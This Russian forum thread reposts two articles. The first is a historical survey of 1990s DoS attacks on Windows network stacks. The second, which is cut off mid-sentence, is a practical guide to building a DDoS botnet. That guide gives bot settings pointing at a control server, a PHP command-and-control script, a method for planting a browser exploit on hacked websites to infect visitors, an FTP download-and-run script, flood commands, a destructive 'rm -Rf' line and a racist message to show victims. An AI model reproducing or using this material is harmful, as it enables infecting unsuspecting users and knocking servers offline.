+ Ответить в теме
Показано с 1 по 4 из 4

Тема: DDoS - обзор

  1. #1
    Джедай nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь
    Регистрация
    22.01.2005
    Сообщений
    3,753
    Поблагодарил(а)
    419
    Получено благодарностей: 1,257 (сообщений: 528).

    По умолчанию DDoS - обзор

    Весьма любопытный обзор DDoS атак, многое уже сейчасне актуально, то все же очень интересно для изучения (откуда этот текст я уже не помню...но писал его не я )
    ---

    В связи с массовым распространением сетей, построенных на основе TCP/IP, стали возникать всевозможные программы и методы для осуществления различных неправомерных действий в таких сетях. Очевидно, что наиболее распространенной платформой на сегодняшний день являются различные Windows-системы. Это Windows 95, Windows 95 OSR2, Windows 98, Windows NT 3.51, Windows NT 4.0. Старые 16-битные версии практически уже отошли в прошлое. Подавляющее большинство персональных компьютеров сегодня имеет одну из вышеуказанных систем. Поэтому рассмотрение некоторых аспектов безопасности этих систем будет интересно большинству читателей. А поскольку Windows NT позиционируется как серверная платформа, то данная статья может представлять интерес и для начинающих системных администраторов.

    Безусловно, полное рассмотрение вопросов компьютерной безопасности является весьма сложной и нетривиальной задачей. Строго говоря, собственно технический аспект составляет важную, но небольшую часть обеспечения безопасности информации. Неправомерные действия в отношении компьютеров и компьютерных сетей можно разделить на различные группы. Например, по преследуемым целям можно выделить взлом с целью получения привилегированного доступа; взлом с целью похищения конфиденциальной информации и т.д. Особняком в этом ряду стоят действия, не влекущие никакой личной выгоды и представляющие собой просто вредительство, выведение систем из строя. По применяемым методам наиболее распространенными являются программы, использующие ошибки в системном программном обеспечении или сетевых протоколах.

    Из всевозможных видов атак на WINDOWS наиболее распространены DoS-методы (DENIAL OF SERVICE, "отказ от обслуживания"). Возможно, что сравнительно небольшое количество других незаконных способов воздействия на WINDOWS-системы связано со значительно меньшим количеством стандартных сервисов, нежели в UNIX-системах.


    NUKE

    Нередко различные DoS-атаки называют общим термином "нюк" (NUKE). Одна из самых известных программ так и называется WINNUKE (см. ниже по тексту). Восстановим истину в этом вопросе. Существует метод атаки, называемый просто NUKE. Строго говоря, классический NUKE нельзя называть DoS-атакой. Идея основана целиком на документированных стандартах, а не на ошибках в конкретной реализации TCP/IP.

    Суть классического NUKE в следующем. Для служебных целей в IP-сетях используется протокол ICMP (Internet CONTROL MESSAGE PROTOCOL, описание можно найти в RFC-1122). С этим протоколом мы встречаемся, например, когда используем программы PING и TRACEROUTE. Одной из возможностей ICMP является проверка наличия определенного адреса в Сети. В случае возникновения ошибки соединения возвращается достаточно подробная диагностика ситуации. Например: "Сеть недоступна", "Адрес недоступен", "Ошибка маршрутизации" и другие. Стандартные реализации TCP/IP-стека по приходе ICMP-пакета с извещением об ошибке производят определенные действия, в первую очередь перестройку таблицы маршрутизации и т.п. При этом, как побочный эффект, разрываются все установленные соединения с машиной, имеющей адрес, о котором стало известно, что он недостижим. На использовании этого эффекта и строятся диверсии.

    Действительно, если знать, что компьютер с адресом X установил соединение с компьютером Y, и послать ICMP-сообщение об ошибке на компьютер X с исходящим адресом компьютера Y, то безусловной реакцией будет разрыв вышеупомянутого соединения. Для осуществления подобной атаки необходимо работать с IP на более низком уровне, нежели стандартные функции операционной системы. Подмена адресов в IP-пакетах имеет устоявшееся название "спуфинг" (от англ. SPOOFING — мистификация, обман). Практический эффект такого рода атаки невелик. Для ее осуществления необходимо знать, что два компьютера установили между собой соединение. Из этого следует, что средний пользователь, гуляющий по Сети, вряд ли столкнется с такой атакой. Диверсии более подвержены люди, которые долго подключены к определенным серверам. Например, любители разговаривать на IRC и WEB-чатах или играть в различные ON-LINE-игры (от MUD до новейших 3D-стрелялок). Классический NUKE является одним из древнейших инструментов ведения "военных действий" на IRC. Самое печальное, что простого противодействия этим атакам не существует.


    WINNUKE

    Вернемся все-таки к теме статьи. Начнем, конечно же, с широко известного WINNUKE, дата появления которого — 7 мая 1997 года. Автор метода поместил его описание и исходный текст программы в несколько NEWS-конференций. Ввиду крайней простоты метода каждый человек с IQ немногим большим единицы мог вооружиться новейшим оружием и пойти крушить направо и налево. Первой жертвой был http://www.iworld.ru/magazine/11_26_....microsoft.com. Этот сервер "лежал" более двух суток — в пятницу вечером (9 мая) он прекратил откликаться на обращения и только к обеду в понедельник вновь обрел устойчивость. Приходится только пожалеть его администраторов, которые на протяжении всего уик-энда регулярно нажимали волшебную комбинацию трех клавиш, после чего реанимированный сервер падал вновь. А может быть, после первых нескольких попыток оживить сервер их прекратили, кто знает... Конечно же, наряду с жертвой номер один в мае 97-го пали многие серверы, на которых красовалась надпись "windows nt powered", а также серверы и без оной надписи, но все-таки построенные на windows nt. К чести microsoft, следует отметить, что "заплатки" (patch) появились и стали доступны довольно быстро.

    Дадим краткое техническое описание WINNUKE. Наряду с обычными данными, пересылаемыми по TCP-соединению, стандарт предусматривает также передачу срочных (OUT OF BAND, OOB) данных. Предназначаются они для передачи различной срочной информации по соединению, используемому для передачи обычных данных. На уровне форматов TCP-пакетов это выражается в ненулевом URGENT POINTER. На большинстве компьютеров с операционной системой WINDOWS, установленных в локальной сети, присутствует сетевой протокол NETBIOS, который использует для своих нужд три IP-порта: 137, 138, 139. Как выяснилось, если соединиться с WINDOWS-машиной через 139-й порт и послать туда несколько байтов OOB-данных, то первоначальная реализация NETBIOS, не зная, что делать с этими данными, попросту подвешивает или перезагружает машину. Для WINDOWS 95 это обычно выглядит как синий текстовый экран, сообщающий об ошибке в драйвере TCP/IP и невозможности работы с сетью до перезагрузки операционной системы. WINDOWS NT 4.0 без установленных SERVICE PACK перезагружается, NT 4.0 со вторым SERVICE PACK выпадает в синий экран (синий экран, говорящий о необработанном исключении в коде ядра, нередко называют "BSOD" — BLUE SCREEN OF DEATH). Судя по информации из Сети, такая атака фатальна и для WINDOWS NT 3.51, и для WINDOWS 3.11 FOR WORKGROUPS, и для WINFRAME (в основе находится WINDOWS NT 3.51).

    Хочется вспомнить достаточно забавную историю. Как выяснилось, вскоре после выпуска SERVICE PACK 3 для WINDOWS NT 4.0, WINNUKE, запущенный с компьютеров APPLE, легко пробивал защиту сервис-пака. Причиной тому послужило существование двух разных стандартов на IP-пакеты, содержащие OOB-данные. Есть стандарт от BERKLEY, а есть стандарт, описанный в RFC. Различие их состоит в том, что URGENT POINTER в двух реализациях вычисляется по-разному, и результаты отличаются друг от друга на единицу. SERVICE PACK 3, защищающий от "своих" OOB-пакетов, оказался беспомощным против пакетов другого стандарта. Поэтому почти сразу вышло дополнительное исправление.

    Следует заметить: если для написания оригинального WINNUKE достаточно самых тривиальных функций работы с TCP/IP (программа на PERL занимает 7 строк), то для того, чтобы пробить защиту SERVICE PACK 3, требуется работать с TCP на низком уровне, либо запускать стандартный WINNUKE с платформы, поддерживающей другую реализацию OOB. Само существование OOB-данных, безотносительно к WINNUKE, вызывает достаточно много проблем именно из-за существования двух стандартов, вернее, из-за отсутствия стандарта. Поэтому гарантировать правильную работу программы, использующей OOB, не может никто. Многие умные люди рекомендуют вообще не использовать OOB-данные в своих программах. Собственно, обычно так и поступают. Поэтому весь смысл OOB сегодня — это наличие потенциальных "дыр", позволяющих злоумышленникам изобретать все новые и новые методы атак. Попросту постреляв OOB-данными по открытым TCP-портам, можно попытаться найти какую-либо новую "дырку" в очередной программе. Некоторым, говорят, это удается...


    ICMP

    Следующая широко известная ошибка обнаружилась буквально через месяц после нашумевшего WINNUKE (хотя атаки, основанные на схожей идее, были известны еще годом раньше). Объектом атаки на сей раз стал ICMP-протокол, точнее — его реализация. ICMP-протокол издавна привлекал любителей различных сетевых диверсий. Поскольку он является внутренним механизмом поддержки работоспособности IP-сетей, то, с точки зрения злоумышленника, является очевидным объектом атаки. В качестве одного из методов можно упомянуть PING с большим размером пакета, так называемый PING-FLOOD. Поскольку ICMP-пакеты имеют определенные привилегии в обработке, то PING большого размера может абсолютно парализовать работу конкретного компьютера или даже целой сети, IP-каналы которых будут передавать только ICMP-пакеты. Такой способ часто используется людьми, имеющими мощные каналы связи, против людей, располагающих более слабыми каналами. Метод этот, основанный на грубой силе, очевидно, не требует большого ума (точнее сказать, не требует никакого ума и, видимо поэтому, так любим молодыми сотрудниками различных провайдерских организаций). Защиты от него в общем случае не существует, самый распространенный метод реакции — установив адрес злоумышленника, написать жалобы куда только можно.

    Следующим объектом нашего исследования будет более хитроумный метод, называемый SPING (JOLT, SSPING, ICENUKE, ICEPING, ICENUKE, PING OF DEATH...) Множество названий вовсе не означает наличия множества различных модификаций. Просто почему-то разные люди назвали один метод разными именами, и встретить программу можно под всеми вышеперечисленными названиями. Как выяснилось, WINDOWS-системы неадекватно реагируют на получение сильно фрагментированного ICMP-пакета (кусочками до одного килобайта) большого размера (на пару байт больше 64 килобайт). Реакция заключается в безоговорочном "повисании". В конце июня 1997 года жертвой SPING пал многострадальный сервер компании MICROSOFT, после чего его окончательно закрыли каким-то хитрым экраном.

    В отличие от WINNUKE, жертвами SPING могут стать не только WINDOWS-системы, но и MAC OS и некоторые версии UNIX (заплатки, к счастью, имеются уже для всего).

    Следует заметить, что атака данного типа намного серьезнее, нежели предыдущего, поскольку использует ICMP-пакеты, которые часто не фильтруются FIREWALL, а даже если и фильтруются, то, используя приемы SPOOFING, можно преодолеть такого рода защиту.


    LAND

    Следующий метод атаки, называемый LAND (по слухам, фамилия первооткрывателя была LAND), замечателен в первую очередь огромным количеством поражаемых систем. Кроме любимой народом (за наличие MINESWEEPER) WINDOWS NT, здесь и MAC OS, и множество UNIX (от бесплатных до серьезных), и такие экзотические системы, как QNX и BEOS, и даже многие аппаратные маршрутизаторы (в том числе и продукция фирм CISCO и 3COM). Практически для всех систем уже имеются исправления, хотя, конечно же, далеко не все установили их в систему.

    В начале создания TCP-соединения посылается пакет с установленным флагом SYN. Нормальной реакцией на получение SYN-пакета является подготовка необходимых ресурсов для нового соединения, посылка SYN-ACK пакета (подтверждение) и ожидание реакции с другой стороны. В случае, когда реакция отсутствует определенное время, SYN-ACK пакет передается повторно несколько раз, как правило, с увеличивающимся периодом задержки. Очевидным методом атаки, использующим вышеописанный механизм, является классический SYN-FLOOD, заключающийся в следующем. На компьютер-жертву посылается множество SYN-пакетов с искаженными адресами отправителя. Компьютер-жертва тратит массу своих вычислительных ресурсов на попытки подтвердить соединения с абсолютно ничего не подозревающими или даже с несуществующими компьютерами. При достаточно большом количестве фальшивых запросов ресурсы компьютера-жертвы могут быть исчерпаны, а все другие процессы в системе будут просто заморожены, либо аварийно завершены, либо будут "сброшены" все имеющиеся TCP-соединения. Но это очень старый метод, основанный на грубой силе. Механизм работы LAND хитрее: посылается SYN-пакет с адресом отправителя, совпадающим с адресом получателя, жертвы. Пакет посылается на любой открытый порт. Для WINDOWS-систем это почти всегда может быть 139-й порт (старый знакомый по WINNUKE). Для других систем это может быть любой известный порт (21-й, 80-й и др.). Реакцией WINDOWS-компьютера на LAND является абсолютное "зависание".


    TEARDROP

    Найденный в том же многострадальном 97-м году метод атаки TEARDROP основан на ошибках в реализации TCP/IP-стека. Подверженными такой атаке оказались WINDOWS-системы, а также компьютеры с установленным LINUX.

    Заплатка MICROSOFT для WINDOWS NT, появилась достаточно быстро. Строго говоря, эта "заплатка" предназначалась для защиты от другого типа атак. Метод заключался в посылке большого количества udp-пакетов с искаженным адресом отправителя на 19-й порт, что приводило к повышению udp-трафика. Фурора, подобного появлению winnuke, произведено не было, возможно потому, что общественное мнение свыклось с регулярным возникновением новых dos-атак. Тем не менее teardrop отличается тем, что стал первым в семействе себе подобных клонов (об этом будет рассказано ниже). Также teardrop является прекрасной демонстрацией того, что любые программы, даже состоящие из нескольких строчек, содержат ошибки. Совершим небольшой экскурс в тайны реализации tcp/ip-стека.

    Поскольку передача данных в IP-сетях производится не в идеальной среде, а по вполне реальным каналам различного качества, то естественно, что в стандарт заложили возможность передачи больших пакетов фрагментами, которые на принимающей стороне преобразуются в исходный пакет. Речь идет о том, что некий единый пакет на уровне TCP- или UDP-протоколов может быть фрагментирован на уровне IP — протокола более низкого уровня. При этом каждый фрагмент будет характеризоваться смещением от начала исходного пакета и своей длиной. Драйвер TCP/IP-стека собирает все фрагменты на принимающей стороне до тех пор, пока не получит их все (или, во всяком случае, пока не решит, что принял их все). Безусловно, при передаче возможны различные ситуации, которые "умная" реализация TCP/IP должна понимать. В частности, может оказаться, что несколько полученных фрагментов будут пересекаться. Нас интересует ситуация, когда очередной фрагмент имеет смещение, лежащее внутри уже полученного фрагмента. Что же происходит в этом случае? Прежде всего вычисляется размер пересечения. А затем в буфер копируется только та часть нового фрагмента, которая "выступает за границу" старого фрагмента. Все просто и очевидно, за исключением того, что возможна еще одна нестандартная ситуация. А именно — когда новый фрагмент не только начинается внутри старого, но и оканчивается в нем же. По идее, такой фрагмент должен быть просто пропущен, но как раз такую возможность программисты, писавшие WINDOWS NT и LINUX, и не предусмотрели. Что же происходит в результате? Пусть у нас есть уже полученный фрагмент A, начинающийся с A_OFFS и имеющий длину A_LEN. Затем пришел новый фрагмент B, начинающийся с B_OFFS и с длиной B_LEN. Причем A_OFFS < B_OFFS и (B_OFFS + B_LEN) < (A_OFFS + A_LEN), то есть фрагмент B лежит внутри фрагмента A. проследим действия принимающей стороны по шагам. начало нового фрагмента лежит внутри имеющегося. хорошо! пересекающаяся часть: ((A_OFFS + A_LEN) – B_OFFS). а тот кусочек, что нужно добавить в буфер, начинается с (A_OFFS + A_LEN) и имеет длину ((B_OFFS + B_LEN) – (A_OFFS + A_LEN)). о-ля-ля! длина-то меньше нуля! если вспомнить о машинной зацикленной арифметике, легко понять, что в результате будет скопирован очень большой блок памяти. при этом будет уничтожено все попадавшееся на пути (обычно на пути попадается операционная система). собственно, вышеописанное и есть TEARDROP ("слезинка", англ.). объяснение, приведенное выше, абсолютно верно для LINUX, поскольку его исходный код открыт. но, вероятно, аналогичный механизм делает и WINDOWS NT потенциальной жертвой для TEARDROP-атаки.

    Позже возникло несколько модификаций TEARDROP, которые были способны пробивать WINDOWS NT с установленной против обычного TEARDROP "заплаткой". Известность получили BONK (BOINK), NEWTEAR, SYNDROP. Все эти атаки закрываются одной заплаткой. Наиболее оригинальным оказался метод syndrop. По сути, он представляет собой оригинальный teardrop, с тем отличием, что в посылаемых фрагментах устанавливается syn-флаг (снова этот излюбленный флаг).

    После TEARDROP наступило достаточно продолжительное затишье. То ли ошибок стало меньше, то ли сообщать о них не торопились... Но вот осенью 98-го возникла очередная волна атак на WINDOWS-системы. Наиболее нашумевшим фактом, конечно, стало появление BACKORIFICE. Описание сего продукта не совпадает с темой статьи, но эту новость тяжело обойти.

    Новая атака не влечет за собой фатальных последствий типа "зависания" или перезагрузки, но способна вызвать существенную загрузку процессора и повышенный сетевой трафик. На сей раз объектом нападок стала реализация RPC-протокола в WINDOWS NT. Идея чрезвычайно проста: в 135-й порт посылается некая "левая" датаграмма с адресом отправителя, измененным на адрес другой NT-машины. Реакцией атакуемой машины будет посылка REJECT-пакета на подмененный адрес.

    Другая NT-машина ответит не менее гневным REJECT-пакетом, после чего такой пинг-понг будет продолжаться некоторое время, до тех пор, пока неправильный пакет не будет уничтожен как устаревший. Понятно, что посылая совсем небольшой поток фальшивых датаграмм, можно практически парализовать работу сети и заставить компьютеры тратить значительную долю своих вычислительных ресурсов на обработку RPC-ошибок. Изощренный злодейский ум может легко додуматься до простой модификации метода, при которой на несколько компьютеров посылаются поддельные UDP-пакеты с одинаковым адресом отправителя. В этом случае пинг-понг превращается в массированную артиллерийскую атаку несчастной жертвы.

    Доступно исправление, после которого WINDOWS NT внимательнее относится к ошибочным RPC-пакетам и не спешит с ответной реакцией на них.

    135-й порт довольно давно зарекомендовал себя в качестве слабого места NT-платформы. Известна очень старая атака, заключавшаяся в посылке в этот порт нескольких строчек текста, что приводило к постоянной стопроцентной загрузке процессора. Спасал только перезапуск операционной системы. К счастью, эта "дырка" была закрыта в SERVICE PACK 3.

    Идея же небольшого потока фальшивых пакетов используется во многих методах атаки. Например, знаменитый SMURF, который, по слухам, был использован против крупнейшего украинского Интернет-провайдера. Некий "веселый" сотрудник одного из московских провайдеров смог на несколько дней парализовать работу практически всего украинского сегмента Интернета. Описание механизма работы SMURF в этой статье приводить не будем.


    На этом список широко известных DoS-атак на TCP/IP-стек WINDOWS-систем заканчивается. Что принесет нам будущее — неясно, внушает оптимизм лишь то, что чем больше ошибок находят и исправляют, тем меньше их остается. Конечно, при условии, что эти исправления сами не привносят новых ошибок.

    Процедура установки всех "заплаток" для WINDOWS NT 4.0 с SERVICE PACK 3 давно превратилась в нетривиальное занятие, поскольку их количество исчисляется уже несколькими десятками, и порядок "латания" системы нередко имеет большое значение. Существует опасность установить "заплатки" в такой последовательности, что операционная система окажется в нерабочем состоянии. Следует отметить, что "заплатки" от DoS-атак, как правило, выпускались кумулятивными, то есть последняя "заплатка" содержала в себе все предыдущие. По крайней мере, это касается WINNUKE, SPING, LAND и TEARDROP с модификациями.
    ---
    Телевизор — это просто маленькое прозрачное окошко в трубе духовного мусоропровода. © В. Пелевин.

  2. #2
    Джедай nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь
    Регистрация
    22.01.2005
    Сообщений
    3,753
    Поблагодарил(а)
    419
    Получено благодарностей: 1,257 (сообщений: 528).

    По умолчанию

    Создание собственной DDoS-армии

    Все, что мы писали о DDoS-атаках до сих пор носило исключительно теоретический характер. Сегодня мы решили приоткрыть завесу секретности и рассказать тебе, как такие атаки проводятся на практике. Специально для тебя мы нашли чела, который проделает вместе с тобой все шаги к созданию DDoS-армии и проведет небольшую атаку на один из узлов Сети.

    Помчались!

    Если ты временами страдаешь провалами в памяти и совсем позабыл, что такое DDoS-атаки, напомню. Допустим, мне приспичило вывести крупный сервер неприятеля из строя. Каким образом я могу это сделать? Конечно, существует множество различных способов реализации моей задумки. Например, если мне удастся поломать сервак, получить root-shell, я смогу выполнить и команду «cd /;rm –Rf *», в результате чего все файлы, находящиеся на серванте удалятся и компьютер естественным образом перестанет работать. Но этот метод не так уж и идеален – получить шелл-доступ с абсолютными привилегиями не всегда просто. Поэтому порой бывает целесообразно использовать другие, более универсальные способы. Например, можно послать серверу огромное количество мусорного трафика, полностью забив входящими пакетами канал жертвы. В результате этого атакуемый компьютер просто перестанет отвечать на запросы до тех пор, пока не прекратится флуд. Конечно же, для реализации этой технологии общая пропускная способность каналов, с которых производится атака, должна быть больше, чем канал атакуемой тачки.

    На распутье

    В общем-то, цель понятная: мне нужно завладеть каналами, суммарная производительность которых превышает или хотя бы сравнима со скоростью канала жертвы. Тут можно пойти двумя путями. Первый заключается вот в чем. Можно взломать несколько крупных серверов, залить и собрать на них специализированный софт, реализующий одну из flood-атак, после чего отдать им команду на начало DDoS-атаки. Так, например, FIN/ACK flooder от 3APA3’ы (www.security.nnov.ru/files/stream3.c) “на ура” валит сервера под Win2k. Но что бы не говорили, поломать десяток крупных серверов – сложная, порой непосильная задача. Именно по этой причине сегодня я пойду вторым путем: устрою массовое протроянивание машин простых юзеров, использующих скромные каналы и юзающих в качестве операционки Windows. Разумеется, для этого я заюзаю один из распространенных виндовых багов, либо банально проспамлю юзеров специальным, заранее подготовленным трояном, чтобы превратить их тачки в своих ручных зверьков. Совершенно ясно, что каналы связи с инетом у большинства юзеров Сети гораздо уже, чем у крупных серверов, поэтому, чтобы создать мощную армию DDoS-ботов, придется поломать несколько тысяч пользователей. С таким отрядом вполне уже можно завалить и крупную добычу. Сейчас я покажу тебе, как лучше всего реализовать эту атаку на практике. Точи коньки, поехали!

    Готовим бойца

    Прежде, чем начинать DDoS-атаку на Microsoft.com, необходимо как следует подготовиться. Прежде всего нужно найти подходящего DDoS-трояна, которым я буду заражать взломанные компьютеры. На самом деле, найти что-то стоящее в интернете – дохлый номер, в чем я сам наглядно убедился за несколько часов непрерывного серфинга различных поисковых машин, форумов и хакерских архивов. Ни одна из публичных тулз не подходила мне по всем параметрам. Чего же я требовал от DDoS-софта? Прежде всего, нужно понимать, что чем скромнее размер выполняемого бинарника, тем лучше: троян должен быть маленьким и юрким, чтобы его было проще установить и чтобы он не бросался сильно в глаза. Одновременно с этим тулза должна эффективно флудить жертву, засыпая ее не по-детски пакетами, используя одну из классических ddos-технологий. Так же очень важно, чтобы ботами можно было легко управлять – армия из тысячи бойцов должна быть мобильной и послушной. Увы, ничего стоящего я в инете не нашел и постепенно вплотную подошел к мысли, что надо либо искать по знакомым что-то приватное, либо писать новый, оригинальный инструмент. Я потратил некоторое время на то, чтобы убедиться: расстаться с готовым инструментом для ддоса никто не спешит и найти подходящий вариант будет сложно - проще написать его самостоятельно. Однако я не знаток в системном программировании под Windows, поэтому обратился к Горлуму, который по старой дружбе подогнал офигенный ddos-инструмент, полностью подходящий под все мои требования. Выполняемый файл весит всего 7 килобайт, поэтому его будет легко впаривать. Впрочем, возможностей у тулзы минимум: этот троян умеет организовывать icmp-flood атаки, выполнять любую команду для cmd и выводить пользователю текстовое сообщение в MsgBox. На первый взгляд может показаться, что этого недостаточно. В самом деле, если уж захватывать тысячу компьютеров, то может быть стоит обеспечить какой-то более продуманный контроль над тачками? Однако при ближайшем рассмотрении оказывается, что и этого набора функций более чем достаточно. Действительно, при помощи команды ftp можно закачать на винчестер любой другой бинарник и легко его запустить. Так что никаких проблем не возникнет, если появится желание продвинуться дальше и по полной нагрузить захваченные тачки.
    Боец готов!

    Итак, спустя пару часов после того, как я постучался к Горлуму в icq, мне пришло письмо с исходными кодами и собранным бинарником DDoS-бота. Настало время протестировать его в работе и разобраться хотя бы поверхностно, как он работает. После непродолжительного изучения исходников и работы программы, на моем лице возникла удовлетворенная улыбка: все работает просто офигительно. В самом начале кода определяется несколько ключевых параметров, которые тебе надо будет поменять, если ты, вопреки предостережениям, захочешь повторить мои действия. Но прежде чем вставать на эту шаткую дорожку, знай, что все это незаконно и попадает сразу под несколько статей уголовного кодекса нашей великой державы. Кроме того, следует знать, весь мой рассказ – чистой воды выдумка уколовшегося наркомана, а любые совпадения – чистой воды случайность. Итак, в самом начале исходника есть следующие строки:

    Основные параметры DDoS-бота
    // адрес web-сервера

    #define WEBADDRESS "ired.inins.ru"

    // имя файла\скрипта

    #define WEBFILE "flood"

    // размер пакета

    #define PACKETSIZE 1000

    // частота отсылки пакетов

    #define FREQ 100

    Скажу несколько слов о каждом параметре. Как я уже отмечал выше, троян самостоятельно получает команду, подключаясь к веб-серверу, урл которого определяется константой WEBADDRESS. Бот запрашивает на этом сервере документ с именем, хранящимся в WEBFILE и, исходя из полученной там команды, выполняет некоторое действие. Как вариант – начинает флудить жертву пакетами длинной PACKETSIZE, отсылая их 1 раз во временной промежуток, определяемый параметром FREQ. Дефолтные параметры отлично работают для средней паршивости кабельных каналов, при использовании модемного соединения могут возникнуть некоторые проблемы, поэтому целесообразно может быть уменьшить длину пакета и увеличить параметр FREQ. Но это уже твое дело :). Как тебе, надеюсь, понятно, в качестве файла с заданием может выступать не просто текстовик, но и любой сценарий – ведь web-сервер отдает клиенту текстовый вывод этого скрипта, а DDoS-боту нет никакой разницы, с чем работать. По этой причине целесообразно для удобства написать несложный php-сценарий для управления ботами и сборки статистики. Я не стану тебя особенно грузить и просто приведу здесь содержимое этого скрипта, который я написал за 5 минут:

    Скрипт для управления ботами.

    <?

    if(isset($_GET[sta])) { /* Конфигурируем ботов */

    Echo "<h1> Configuring and stats about DDoS bots</h1> ";

    if(isset($_GET[sub])) { /* Если форма с новым заданием отправлена, открываем файл и перезаписываем содердимое */

    $fp=fopen("command.db", "w");

    if(fwrite($fp, $_GET[cmd])) echo "Command updated!<br> ";

    }

    $fp=fopen("command.db", "r"); /* Выводим форму для смены текущей команды */

    $cmd=fread($fp, 100);

    echo "<form action=''> ";

    echo "<input type=hidden name=sta value=1> ";

    Echo "Current command is: <input type=text name=cmd value='$cmd'> ";

    echo "<input type=submit name=sub value=\"Refresh!\"";

    echo "</form> ";

    } else { /* Если бот запрашивает команду, выводим ему содержимое файла, где она хранится и записываем ip в специальная файл */

    $HTTP_SERVER_VARS["REMOTE_ADDR"];

    $fp=fopen("stat.db", "a");

    fwrite($fp, $HTTP_SERVER_VARS["REMOTE_ADDR"]);

    fwrite($fp, "\n");

    $fp=fopen("command.db", "r");

    $cmd=fread($fp, 100);

    echo $cmd; }

    ?>

    Итак, мы создали систему контроля за работой ботов и сбора статистики. Теперь настало время подготовить код эксплойта для затроянивания пользователей. Это совсем не сложно, вот увидишь :).

    Засылаем казачка

    Если ты регулярно читаешь “Х”, то помнишь, что год назад Куттер написал статью «Ослик IE: залей через меня трояна». В ней он описывал j*******pt-эксплойт, эксплуатирующий баг в непропатченном осле шестой версии, который запущен под Windows XP. Сплойт можно вставить на какую-нибудь html-страницу похаканного сайта и уязвимые посетители, просматривающие страницу со сплойтом, будут протрояниваться. В самом деле, такой подход довольно производителен. Основная проблема заключается в том, чтобы сломать какой-нибудь популярный ресурс с большой посещаемостью. Хотя, на самом-то деле, сделать это не так уж и сложно. Мы не раз писали о серьезных проблемах с безопасностью даже в самых больших и коммерчески успешных проектах – что уж говорить про середнячков с посещаемостью 2-3 тысячи хостов в день? Действительно, сейчас в ходу очень много актуальных уязвимостей, да что там, порой можно найти узлы, на которых присутствуют тупые баги конца девяностых. Как бы то ни было, наша статья не о взломе серверов. Об этом тебе лучше почитать в других статьях этого номера, а сейчас настало время впарить нашего чудо-трояна посетителям взломанного ресурса. Я специально не стал приводить в журнале код сплойта, который реализует эту задачу, поскольку, во-первых, все равно ты не будешь перебивать его со страниц журнала руками, а, во-вторых, мы уже печатали его в куттеровской статье. Сплоит ты можешь найти на сайте ired.inins.ru/xa/. Для его использования понадобится произвести элементарные изменения в его коде: изменить путь для закачки нашего трояна. Это не должно вызвать затруднений, поскольку тело сплойта хорошо прокомментировано. Я сохранял нашего трояна в ветку автозагрузки: как только юзер ребутнется, троян стартует, скопирует себя в system32 под хитрым именем и сотрет из автозагрузки – таким образом, пользователь ничего не заметит. Можно так же заменить трояном файл c:\\Program Files\\Windows Media Player\\wmplayer.exe – в этом случае юзер затроянится сразу после просмотра web-страницы.

    После того, как я отредактировал нужным образом код эксплойта, я выбрал один из своих поломанных сайтов и изменил главную страницу, вставив злой код. Хотя сплоит и палит свою работу, пользователи не увидят ничего подозрительного и продолжат юзать популярный ресурс. А в это время в чреве windows будут происходить необратимые процессы: загрузиться и выполниться наш троян, который надежно пропишется в системе. После перезагрузки он подключится к серверу, получит команду и начнет ее методично выполнять. Теперь оставалось только ждать, пока затроянится достаточное количество пользователей. По моим расчетам, примерно 20% посетителей используют уязвимые браузеры и являются моими клиентами. Это не так уж и мало, если вдуматься: в день сайт посещало примерно 15000 юзеров, получалось, что за сутки к моей армии должно прибавляться примерно 3000 бойцов.

    Готовимся к атаке

    Сейчас настало время сделать небольшую паузу и рассказать о том, как, собственно, управлять ботами. В самом деле, какие команды понимают наши бойцы? Тут все просто:

    * cmd команда – выполняет команду для стандартного интерпретатора Windows. Например, можно заставить машину скачать из инета любой файл. Для этого необходимо составить простенький сценарий для ftp-клиента и соединиться с узлом, используя этот скрипт:

    echo login> 1.cmd

    echo passwd> > 1.cmd

    echo GET file.exe> > 1.cmd

    ftp –s:1.cmd ftp.host.ru

    * Так же можно повеселиться над затрояненными чуханами, выводя им на экран забавные сообщения. Для этого надо в файл с командой поместить следующее предложение:

    mess You was ****ed, nigga! Gritz2: x_crew :)

    * И наконец, самая главная функция: запуск icmp-флуд атаки. Это реализуется при помощи красноречивой команды flood:

    flood www.xakep.ru

    После того, как наш бот получит такую команду он начнет засыпать наш сервер icmp-пакетами длиной 10 кб, причем отсылать он их будет с частотой 1 пакет в секунду. Это оптимальный параметр для чертей, сидящих на выделенном канале, хотя то, как это будет работать на диалапе – вопрос. С другой стороны, в исходном коде бота, всегда можно подправить длину пакета и частоту отсылки, поэтому проблем не возникнет. Разумеется, вместо 127.0.0.1 нужно указать ip жертвы DDoS-атаки.

    В атаку!

    Увы, несмотря на все мои позитивные расчеты, количество ботов не спешило увеличиваться. По всему выходило, что сплоит не работал должным образом. Была уже глубокая ночь и разобраться с этим я решил завтра, тем более, что под рукой не было уязвимой винды. На утро я протестил свой вариант сплойта на бажной машине и понял, что не совсем корректно его использовал – в спешке забыл залить файл error.jsp. Однако к этому времени доступ к сайту, на котором я тестил сплоит вчера, был уже потерян и я решил воспользоваться другим, менее посещаемым ресурсом. Я вспомнил о сайте, который ломал давным-давно, еще весной,- там была классическая sql-injection уязвимость. Не долго думая я набрал его адрес, поигрался с параметрами и стало понятно, что баг еще живой. Я быстро добавил на главную страницу код эксплоита и принялся ждать. В этот раз все сработало “на ура” и оказалось, что примерно 10-15% посетителей используют уязвимую винду в отсутствие файрвола – и это через год (!) после выхода эксплойта. Через некоторое время в файле со статистикой по ботам накопилось примерно полторы сотни зараженных ip-адресов и можно было приступать к активным действиям. Но прежде давай сосчитаем, какой канал нам по силам завалить. Предположим, половина наших юзеров обладает широким каналом в инет. Это вполне правдоподобная цифра, поскольку для распространения троянов я использовал англоязычный проект. Ну что же, в этом случае я вправе рассчитывать на то, что каждый из 75 человек будет съедать у жертвы 10 кб/сек. В этом случае суммарная мощность составит 750 кб/сек. Хорошо, сделаем скидку на возможные лаги и глюки, пусть даже 400 кб/сек. Это уже очень неплохо и вполне достаточно, чтобы повалить сервер, висящий на шейпинговом канале и не рассчитанный на большое количество запросов. Такая вот позитивная математика. Разумеется, я не какой-нибудь там уголовник, и не стал потехи ради атаковать серверы коммерческих предприятий. Я начал с тренировки на собственном хосте с небольшим каналом – и что ты думаешь? Через некоторое время я напрочь потерял связь с 